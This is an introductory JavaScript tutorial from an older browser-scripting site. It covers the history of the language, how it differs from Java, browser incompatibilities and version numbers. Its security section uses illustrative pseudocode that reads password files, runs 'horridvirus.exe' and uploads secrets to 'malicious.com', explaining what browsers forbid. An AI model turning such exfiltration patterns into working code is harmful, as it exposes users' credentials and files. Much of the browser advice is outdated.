JavaScript Introduction

JavaScript is most commonly used as a client side scripting language. This means that JavaScript code is written into an HTML page. When a user requests an HTML page with JavaScript in it, the script is sent to the browser and it's up to the browser to do something with it.

The fact that the script is in the HTML page means that your scripts can be seen and copied by whoever views your page. Nonetheless, to my mind this openness is a great advantage, because the flip side is that you can view, study and use any JavaScript you encounter on the WWW.
JavaScript can be used in other contexts than a Web browser. Netscape created server-side JavaScript as a CGI-language that can do roughly the same as Perl or ASP. There is no reason why JavaScript couldn’t be used to write real, complex programs. However, this site exclusively deals with the use of JavaScript in web browsers.
If you don’t have any programming experience at all it’s best to start with some gentle JavaScript examples that teach you the basics. It might be a good idea to buy Negrino & Smith, “JavaScript for the World Wide Web”, 4th edition, Peachpit Press, 2001. It contains some very useful examples and though it doesn’t treat advanced programming tricks, it will certainly help you get started. Of course this site also offers plenty of help.
I can also recommend Jeremy Keith, DOM Scripting: Web Design with JavaScript and the Document Object Model, 1st edition, Friends of Ed, 2005. This, too, is a book that doesn't delve too deeply into technology, but gives non-programmers such as graphic designers/CSS wizards an excellent overview of the most common uses of JavaScript - as well as the most common problems.

JavaScript vs. Java

JavaScript is not the same as Java. I repeat: JavaScript is not the same as Java.

Although the names are much alike, JavaScript is primarily a scripting language for use within HTML pages, while Java is a real programming language that does quite different things from JavaScript. In addition Java is much harder to learn. It was developed by Sun for use in pretty much anything that needs some computing power.
JavaScript was developed by Brendan Eich, then working at Netscape, as a client side scripting language (even though there's no fundamental reason why it can't be used in a server side environment).
Originally the language was called Live Script, but when it was about to be released Java had become immensely popular (and slightly hypey). At the last possible moment Netscape changed the name of its scripting language to “JavaScript”. This was done purely for marketing reasons. Worse, Eich was ordered to "make it look like Java". This has given rise to the idea that JavaScript is a "dumbed-down" version of Java. Unfortunately there's not the slightest shred of truth in this story.
Java and JavaScript both descend from C and C++, but the languages (or rather, their ancestors) have gone in quite different directions. You can see them as distantly related cousins. Both are object oriented (though this is less important in JavaScript than in many other languages) and they share some syntax, but the differences are more important than the similarities.
If you are a C++ or Java programmer you will be surprised by some of JavaScript’s features. Since I don’t have any previous programming experience, the differences are not described on this site. The best you can do is buy David Flanagan, “JavaScript, the Definitive Guide”, 5th edition, O’Reilly, 2006. In this book the differences between C++/Java and JavaScript are clearly explained. I co–edited a few chapters of this book.

The JavaScript language

JavaScript is not a programming language in strict sense. Instead, it is a scripting language because it uses the browser to do the dirty work. If you command an image to be replaced by another one, JavaScript tells the browser to go do it. Because the browser actually does the work, you only need to pull some strings by writing some relatively easy lines of code. That’s what makes JavaScript an easy language to start with.
But don’t be fooled by some beginner’s luck: JavaScript can be pretty difficult, too. First of all, despite its simple appearance it is a full fledged programming language: it is possible to write quite complex programs in JavaScript. This is rarely necessary when dealing with web pages, but it is possible. This means that there are some complex programming structures that you’ll only understand after protracted studies.
Secondly, and more importantly, there are the browser differences. Though modern web browsers all support JavaScript, there is no sacred law that says they should support exactly the same JavaScript. A large part of this site is devoted to exploring and explaining these browser differences and finding ways to cope with them.
So basic JavaScript is easy to learn, but when you start writing advanced scripts browser differences (and occasionally syntactic problems) will creep up.

Security

Client–side JavaScript has expressly been developed for use in a web browser in conjunction with HTML pages. This has certain consequences for security.
First of all, please note carefully what happens when a user visits a JavaScript–enhanced web site:
The user asks for a certain HTML page without knowing whether it contains JavaScript. The HTML page is delivered to the browser, including the scripts. The scripts usually run automatically when the page loads or when the user takes a certain action. In general the user can’t do anything to stop the scripts (well, he could turn off JavaScript, but few end users know how to do this, or that it can be done, or that JavaScript exists).
So basically an innocent end user downloads a random program and allows it to be executed on his machine. Therefore there should be strict rules as to what this program can and cannot do.

1. JavaScript cannot read files from or write them to the file system on the computer. This would be a clear security hazard

   filesystem.read('/my/password/file');
   filesystem.write('horridvirus.exe');
   

2. JavaScript cannot execute any other programs. This would also be unacceptable

   execute('horridvirus.exe')
   

3. JavaScript cannot establish any connection to whatever computer, except to download a new HTML page or to send mail. This, too, would create unacceptable hazards:

   var security_hazard = connection.open('malicious.com');
   security_hazard.upload(filesystem.read('/my/password/file'));
   security_hazard.upload(filesystem.read('/ultra_secret/loans.xls'));
   

Thus JavaScript simply cannot do such dangerous things. Unfortunately Microsoft has seen fit to add some filesystem commands nonetheless, in combination with its ActiveX technology. This means that Explorer on Windows is structurally less safe than any other browser. It has some built–in protection, but hackers regularly find weaknesses. The first JavaScript virus I heard of works in such a way.
So JavaScript only works on things that are in HTML pages or part of the browser. You cannot influence anything that's not contained by the browser. But even within the browser there are some no–go areas. Basically JavaScript wants to protect the privacy of the user by disallowing some actions and asking permission for others:

1. You cannot read out the history of the browser. Thus a malicious site owner cannot write a script that finds out where you surfed to recently.
   You can go back or forward in the browsing history, but you cannot find out which page you’ll go to.
2. You cannot do anything in pages that come from another server. So if your frameset contains two pages from two servers, they cannot communicate with each other. Thus a malicious site owner cannot find out which sites you’ve opened in other browser windows. See the frame busting page for some more information.
3. You cannot set the value of a file upload field (<input type="file">).

   document.forms[0].upload_field.value = '/my/password/file';
   document.forms[0].submit();
   

4. If you try to close a browser window that has not been opened by JavaScript, the user is asked to confirm this action.
   However, this rule isn't implemented in all browsers and is easy to work around in Explorer.
5. If you try to submit a form to a mail address by JavaScript, the user is asked to confirm this action.
6. You should not be able to open a new window smaller than 100x100 pixels and/or to position it outside the screen area of the computer. Thus a malicious site owner cannot spawn an invisible window.
   Note that Explorer on Windows (and maybe other browsers, too) does allow this, contrary to safety regulations.

Thus JavaScript is a scripting language for influencing HTML elements, like forms, images, layers, paragraphs and such, and for influencing a few non–HTML objects like the browser window. Nothing more, but (most importantly) nothing less.

Browser incompatibilities

When a user receives a page which includes JavaScript, the JavaScript interpreter of his browser kicks in and tries to execute the script. Now the main problem here is that the various browsers each use their own interpreter, and that sometimes browser vendors have chosen not to implement a bit of JavaScript. Their reasons were usually related to business advantage over the competitors.
Hence the feared browser incompatibilities.
In addition each new browser version understands more JavaScript and allows more and more parts of the HTML page to be changed by scripts. This leads to even more incompatibilities.
It’s best to solve compatibility problems on a case–by–case basis. In fact, most pages on this site have been written precisely because of browser incompatibilities. So read on to understand more. But I warn you: you need to digest quite a lot of information. Therefore it’s best to solve the problem at hand and leave the rest of the information alone until you need it.

JavaScript versions

There have been several formal versions of JavaScript.

• 1.0: Netscape 2
• 1.1: Netscape 3 and Explorer 3 (the latter has bad JavaScript support, regardless of its version)
• 1.2: Early Version 4 browsers
• 1.3: Later Version 4 browsers and Version 5 browsers
• 1.4: Not used in browsers, only on Netscape servers
• 1.5: Current version.
• 2.0: Currently under development by Brendan Eich and others.

Originally, these version numbers were supposed to give support information. This-and-that method would only be supported by browsers understanding JavaScript 1.something . The higher the version number, the more nifty features the browser would support.

<script language="javascript1.3" type="text/javascript">
<!--
complex script goes here and is executed
only by browsers that support JavaScript 1.3
// -->
</script>

<script language="javascript1.0" type="text/javascript">
<!--
simple script goes here and is executed
by all JavaScript browsers
// -->
</script>

Unfortunately Netscape 3 does not recognize the language attribute in a JavaScript include tag. So if you do:

<script language="JavaScript1.3" src="somescript.js"></script>

Netscape 3 loads the script, even though it doesn't support JavaScript 1.3, and shows a lot of error messages. Too bad.

Can a browser handle my script?

However, one very important distinction must be made. The main modules of JavaScript are Core and DOM, as I will explain more fully on a later page. JavaScript versions can be very helpful when trying to determine Core support, but they are useless for determining DOM support, or any browser feature.
In addition, specifying JavaScript 1.2 in Netscape 4 can have some unexpected side effects that are too complicated to explain right now.
Therefore I pay little attention to the versions, and I advise you not to use them. Two browsers may claim to support JavaScript 1.2 but nevertheless be quite different (Netscape 4 and Explorer 4 spring to mind). So for day–to–day scripts the JavaScript version is unimportant.
Then how do you determine whether a browser can handle your script? The basic rule is: don’t use a browser detect, use an object detect.

Beginners

If you’re a beginning JavaScripter, read the Object detection page first. It’s the most important page on this site since it gives you the basic JavaScript rule: don’t use a browser detect, use object detection.
After that you’re on your own. Later on I’ll provide a more structured introduction to the various modules of JavaScript.